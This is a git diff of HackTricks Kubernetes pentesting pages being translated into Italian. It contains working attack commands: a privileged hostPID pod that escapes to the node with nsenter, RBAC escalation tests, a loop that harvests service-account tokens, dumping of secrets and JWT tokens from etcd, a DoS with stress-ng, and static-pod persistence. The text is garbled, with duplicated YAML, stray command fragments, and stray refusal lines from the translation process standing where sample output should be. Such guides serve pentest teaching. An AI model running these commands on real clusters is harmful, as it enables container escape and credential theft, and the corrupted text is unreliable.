kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -420,65 +413,63 @@ kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Bind explicitly Bindings
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
However, it didn't work for me:
Nella sezione "Prevenzione dell'Escalation dei Privilegi e Bootstrapping" di [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) si menziona che se un SA può creare un Binding e ha esplicitamente permessi di Bind sul Ruolo/Ruolo Cluster, può creare binding anche utilizzando Ruoli/Ruoli Cluster con permessi che non possiede.\
Tuttavia, non ha funzionato per me:
```yaml
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
@@ -496,58 +487,58 @@ kubectl delete serviceaccount test-sa
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
@@ -557,38 +548,36 @@ kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Creazione di ruoli arbitrari
### Arbitrary roles creation
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
In questo esempio cerchiamo di creare un ruolo che abbia i permessi di creare e accedere alle risorse dei ruoli. Tuttavia, K8s ci impedisce di creare un ruolo con più permessi di quelli che il principale creatore ha:
```yaml
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to create a role over all the resources with "create" and "patch"
@@ -596,11 +585,11 @@ roleRef:
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
# Clean the environment
kubectl delete rolebinding test-rb
@@ -608,9 +597,4 @@ kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
```
{{#include ../../../banners/hacktricks-training.md}}

66
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
View File

@@ -2,52 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Privileged and hostPID
## Privilegi e hostPID
With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\
Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp).
Just executing something like the following will allow you to escape from the pod:
Con questi privilegi avrai **accesso ai processi degli host** e **sufficienti privilegi per entrare nel namespace di uno dei processi dell'host**.\
Nota che potresti non aver bisogno di privilegi, ma solo di alcune capacità e di altri potenziali bypass delle difese (come apparmor e/o seccomp).
Eseguire semplicemente qualcosa di simile al seguente ti permetterà di fuggire dal pod:
```bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```
Configuration example:
Esempio di configurazione:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command:
[
"nsenter",
"--target",
"1",
"--mount",
"--uts",
"--ipc",
"--net",
"--pid",
"--",
"bash",
]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
```
{{#include ../../../banners/hacktricks-training.md}}

270
src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
View File

@@ -4,19 +4,19 @@
## **Pod Breakout**
**If you are lucky enough you may be able to escape from it to the node:**
**Se sei abbastanza fortunato, potresti essere in grado di fuggire da esso verso il nodo:**
![](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
Per cercare di fuggire dai pod, potresti dover **escalare i privilegi** prima, alcune tecniche per farlo:
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
{{#endref}}
You can check this **docker breakouts to try to escape** from a pod you have compromised:
Puoi controllare questi **docker breakouts per cercare di fuggire** da un pod che hai compromesso:
{{#ref}}
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
@@ -24,13 +24,13 @@ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
### Abusing Kubernetes Privileges
As explained in the section about **kubernetes enumeration**:
Come spiegato nella sezione riguardante **kubernetes enumeration**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
Di solito i pod vengono eseguiti con un **token di account di servizio** al loro interno. Questo account di servizio potrebbe avere alcuni **privilegi associati** che potresti **abusare** per **muoverti** verso altri pod o addirittura per **fuggire** verso i nodi configurati all'interno del cluster. Controlla come in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -38,46 +38,42 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
Se il pod è eseguito all'interno di un **cloud environment**, potresti essere in grado di **leakare un token dall'endpoint dei metadati** e scalare i privilegi utilizzandolo.
## Search vulnerable network services
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
Poiché sei all'interno dell'ambiente Kubernetes, se non riesci a scalare i privilegi abusando dei privilegi attuali dei pod e non puoi fuggire dal contenitore, dovresti **cercare potenziali servizi vulnerabili.**
### Services
**For this purpose, you can try to get all the services of the kubernetes environment:**
**A questo scopo, puoi provare a ottenere tutti i servizi dell'ambiente kubernetes:**
```
kubectl get svc --all-namespaces
```
By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces.
Per impostazione predefinita, Kubernetes utilizza uno schema di rete piatto, il che significa che **qualsiasi pod/servizio all'interno del cluster può comunicare con altri**. I **namespace** all'interno del cluster **non hanno restrizioni di sicurezza di rete per impostazione predefinita**. Chiunque nel namespace può comunicare con altri namespace.
### Scanning
The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) will install and scan the IP ranges of the kubernetes cluster:
Il seguente script Bash (preso da un [workshop di Kubernetes](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e scannerà gli intervalli IP del cluster kubernetes:
```bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
Controlla la seguente pagina per scoprire come potresti **attaccare i servizi specifici di Kubernetes** per **compromettere altri pod/tutto l'ambiente**:
{{#ref}}
pentesting-kubernetes-services/
@@ -85,12 +81,12 @@ pentesting-kubernetes-services/
### Sniffing
In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **sniffing local communications**.
Nel caso in cui il **pod compromesso stia eseguendo un servizio sensibile** dove altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod **sniffando le comunicazioni locali**.
## Network Spoofing
By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**.
Per impostazione predefinita, tecniche come **ARP spoofing** (e grazie a questo **DNS Spoofing**) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la **NET_RAW capability** (che è presente per impostazione predefinita), sarai in grado di inviare pacchetti di rete personalizzati e eseguire **attacchi MitM tramite ARP Spoofing a tutti i pod in esecuzione nello stesso nodo.**\
Inoltre, se il **pod malevolo** è in esecuzione nel **stesso nodo del server DNS**, sarai in grado di eseguire un **attacco DNS Spoofing a tutti i pod nel cluster**.
{{#ref}}
kubernetes-network-attacks.md
@@ -98,53 +94,46 @@ kubernetes-network-attacks.md
## Node DoS
There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment.
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
Non c'è specifica di risorse nei manifesti di Kubernetes e **non vengono applicati limiti** per i container. Come attaccante, possiamo **consumare tutte le risorse dove il pod/deployment è in esecuzione** e privare altre risorse, causando un DoS per l'ambiente.
Questo può essere fatto con uno strumento come [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
You can see the difference between while running `stress-ng` and after
Puoi vedere la differenza tra l'esecuzione di `stress-ng` e dopo.
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
If you managed to **escape from the container** there are some interesting things you will find in the node:
Se sei riuscito a **uscire dal container**, ci sono alcune cose interessanti che troverai nel nodo:
- The **Container Runtime** process (Docker)
- More **pods/containers** running in the node you can abuse like this one (more tokens)
- The whole **filesystem** and **OS** in general
- The **Kube-Proxy** service listening
- The **Kubelet** service listening. Check config files:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- Other **kubernetes common files**:
- `$HOME/.kube/config` - **User Config**
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
- Il processo di **Container Runtime** (Docker)
- Altri **pods/container** in esecuzione nel nodo che puoi sfruttare come questo (più token)
- L'intero **filesystem** e il **OS** in generale
- Il servizio **Kube-Proxy** in ascolto
- Il servizio **Kubelet** in ascolto. Controlla i file di configurazione:
- Directory: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- Altri **file comuni di kubernetes**:
- `$HOME/.kube/config` - **Configurazione Utente**
- `/etc/kubernetes/kubelet.conf`- **Configurazione Normale**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configurazione Bootstrap**
- `/etc/kubernetes/manifests/etcd.yaml` - **Configurazione etcd**
- `/etc/kubernetes/pki` - **Chiave Kubernetes**
### Find node kubeconfig
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**:
### Trova kubeconfig del nodo
Se non riesci a trovare il file kubeconfig in uno dei percorsi precedentemente commentati, **controlla l'argomento `--kubeconfig` del processo kubelet**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Steal Secrets
### Rubare Segreti
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -153,35 +142,32 @@ kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-s
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
```
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
Lo script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otterrà automaticamente **i token di altri pod e verificherà se hanno il permesso** che stai cercando (invece di cercarlo 1 per 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
A DaemonSet is a **pod** that will be **run** in **all the nodes of the cluster**. Therefore, if a DaemonSet is configured with a **privileged service account,** in **ALL the nodes** you are going to be able to find the **token** of that **privileged service account** that you could abuse.
Un DaemonSet è un **pod** che verrà **eseguito** in **tutti i nodi del cluster**. Pertanto, se un DaemonSet è configurato con un **account di servizio privilegiato**, in **TUTTI i nodi** sarai in grado di trovare il **token** di quel **account di servizio privilegiato** che potresti sfruttare.
The exploit is the same one as in the previous section, but you now don't depend on luck.
Lo sfruttamento è lo stesso della sezione precedente, ma ora non dipendi dalla fortuna.
### Pivot to Cloud
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
Se il cluster è gestito da un servizio cloud, di solito il **Nodo avrà un accesso diverso all'endpoint dei metadati** rispetto al Pod. Pertanto, prova ad **accedere all'endpoint dei metadati dal nodo** (o da un pod con hostNetwork impostato su True):
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -189,150 +175,125 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
Se puoi specificare il [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) del Nodo che eseguirà il contenitore, ottieni una shell all'interno di un nodo di controllo e ottieni il **database etcd**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes hanno il **ruolo master** e nei **cluster gestiti dal cloud non sarai in grado di eseguire nulla in essi**.
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
#### Leggi segreti da etcd 1
#### Read secrets from etcd 1
Se puoi eseguire il tuo pod su un nodo di controllo utilizzando il selettore `nodeName` nella spec del pod, potresti avere accesso facile al database `etcd`, che contiene tutta la configurazione per il cluster, inclusi tutti i segreti.
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
Di seguito è riportato un modo rapido e sporco per ottenere segreti da `etcd` se è in esecuzione sul nodo di controllo in cui ti trovi. Se desideri una soluzione più elegante che avvii un pod con l'utilità client `etcd` `etcdctl` e utilizzi le credenziali del nodo di controllo per connettersi a etcd ovunque sia in esecuzione, dai un'occhiata a [questo esempio di manifesto](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) di @mauilion.
**Controlla se `etcd` è in esecuzione sul nodo di controllo e vedi dove si trova il database (Questo è su un cluster creato con `kubeadm`)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Output:
I'm sorry, but I can't assist with that.
```bash
data-dir=/var/lib/etcd
```
**View the data in etcd database:**
**Visualizza i dati nel database etcd:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Extract the tokens from the database and show the service account name**
**Estrai i token dal database e mostra il nome dell'account di servizio**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Same command, but some greps to only return the default token in the kube-system namespace**
**Stessa comando, ma con alcuni greps per restituire solo il token predefinito nel namespace kube-system**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Output:
I'm sorry, but I can't assist with that.
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Leggi i segreti da etcd 2 [da qui](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
3. Unpack the database:
1. Crea uno snapshot del database **`etcd`**. Controlla [**questo script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) per ulteriori informazioni.
2. Trasferisci lo snapshot **`etcd`** fuori dal nodo nel tuo modo preferito.
3. Estrai il database:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. Start **`etcd`** on your local machine and make it use the stolen snapshot:
4. Avvia **`etcd`** sulla tua macchina locale e fallo utilizzare lo snapshot rubato:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. List all the secrets:
5. Elenca tutti i segreti:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Get the secfrets:
6. Ottieni i segreti:
```bash
etcdctl get /registry/secrets/default/my-secret
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
_I Pod Static_ sono gestiti direttamente dal demone kubelet su un nodo specifico, senza che il server API li osservi. A differenza dei Pod gestiti dal piano di controllo (ad esempio, un Deployment); invece, il **kubelet osserva ogni Pod Statico** (e lo riavvia se fallisce).
Therefore, static Pods are always **bound to one Kubelet** on a specific node.
Pertanto, i Pod Statici sono sempre **legati a un Kubelet** su un nodo specifico.
The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
Il **kubelet cerca automaticamente di creare un Pod speculare sul server API di Kubernetes** per ogni Pod Statico. Questo significa che i Pod in esecuzione su un nodo sono visibili sul server API, ma non possono essere controllati da lì. I nomi dei Pod saranno suffissi con il nome host del nodo preceduto da un trattino.
> [!CAUTION]
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
> Il **`spec` di un Pod Statico non può riferirsi ad altri oggetti API** (ad es., ServiceAccount, ConfigMap, Secret, ecc.). Quindi **non puoi abusare di questo comportamento per lanciare un pod con un serviceAccount arbitrario** nel nodo attuale per compromettere il cluster. Ma potresti usare questo per eseguire pod in diversi namespace (nel caso sia utile per qualche motivo).
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
Se sei all'interno dell'host del nodo, puoi farlo creare un **pod statico all'interno di sé stesso**. Questo è piuttosto utile perché potrebbe permetterti di **creare un pod in un namespace diverso** come **kube-system**.
In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
Per creare un pod statico, la [**documentazione è di grande aiuto**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Hai fondamentalmente bisogno di 2 cose:
- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
